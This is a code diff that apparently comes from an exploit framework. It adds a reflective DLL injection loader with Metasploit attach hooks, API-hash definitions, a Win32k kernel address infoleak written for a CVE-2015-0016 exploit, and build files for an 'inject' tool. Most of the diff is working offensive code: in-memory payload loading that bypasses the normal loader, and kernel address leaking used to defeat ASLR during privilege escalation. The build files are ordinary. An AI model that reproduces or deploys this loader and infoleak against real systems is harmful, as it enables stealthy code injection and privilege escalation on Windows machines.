// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
OUTPUTDBG("Flushing the instruction cache");
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//

View File

@ -0,0 +1,223 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
// Enable this define to turn on OutputDebugString support
//#define ENABLE_OUTPUTDEBUGSTRING 1
// Enable this define to turn on locking of memory to prevent paging
#define ENABLE_STOPPAGING 1
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#ifdef ENABLE_STOPPAGING
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
#define VIRTUALLOCK_HASH 0x0EF632F2
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
#define OUTPUTDEBUG_HASH 0x470D22BC
#endif
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD _hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,55 @@
#include <Windows.h>
#include "Win32kLeaker.h"
#include <intrin.h>
extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD);
static const int InfoLeakBuffer = 0x40000000;
// Don't make a const so the compiler stores it on .data
static ULONGLONG InfoLeakOffset = 0xdeedbeefdeedbe00;
// Leak the base address of `win32k.sys`. This infoleak is slightly different from
// the standalone infoleak because we need to handle the position-independent nature
// of this exploit.
ULONGLONG LeakWin32kAddress() {
ULONGLONG win32kBaseAddr = 0;
HDC hdc = NULL;
DWORD hi = 0;
DWORD lo = 0;
VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
hdc = CreateCompatibleDC(NULL);
if (hdc == NULL) {
return NULL;
}
// Leak the address and retrieve it from `buffer`.
MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44);
hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address
lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address
// Check: High DWORD should be a kernel-mode address (i.e.
// 0xffff0800`00000000). We make the check stricter by checking for a
// subset of kernel-mode addresses.
if ((hi & 0xfffff000) != 0xfffff000) {
return NULL;
}
// Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using
// the following computation.
win32kBaseAddr = ((ULONGLONG)hi << 32) | lo;
// Adjust for offset to get base address of `win32k.sys`.
win32kBaseAddr = win32kBaseAddr - InfoLeakOffset;
// Check: Base address of `win32k.sys` should be of the form
// 0xFFFFFxxx`00xxx000.
if ((win32kBaseAddr & 0xff000fff) != 0) {
return NULL;
}
DeleteDC(hdc);
return win32kBaseAddr;
}

View File

@ -0,0 +1,5 @@
#ifndef WIN32KLEAKER_H
#define WIN32KLEAKER_H
ULONGLONG LeakWin32kAddress();
#endif

View File

@ -0,0 +1,255 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -7,33 +7,29 @@
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
<ClCompile Include="src\GetProcAddressR.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Inject.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\LoadLibraryR.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<ClInclude Include="src\GetProcAddressR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<ClInclude Include="src\LoadLibraryR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cve-2015-0016.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,116 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
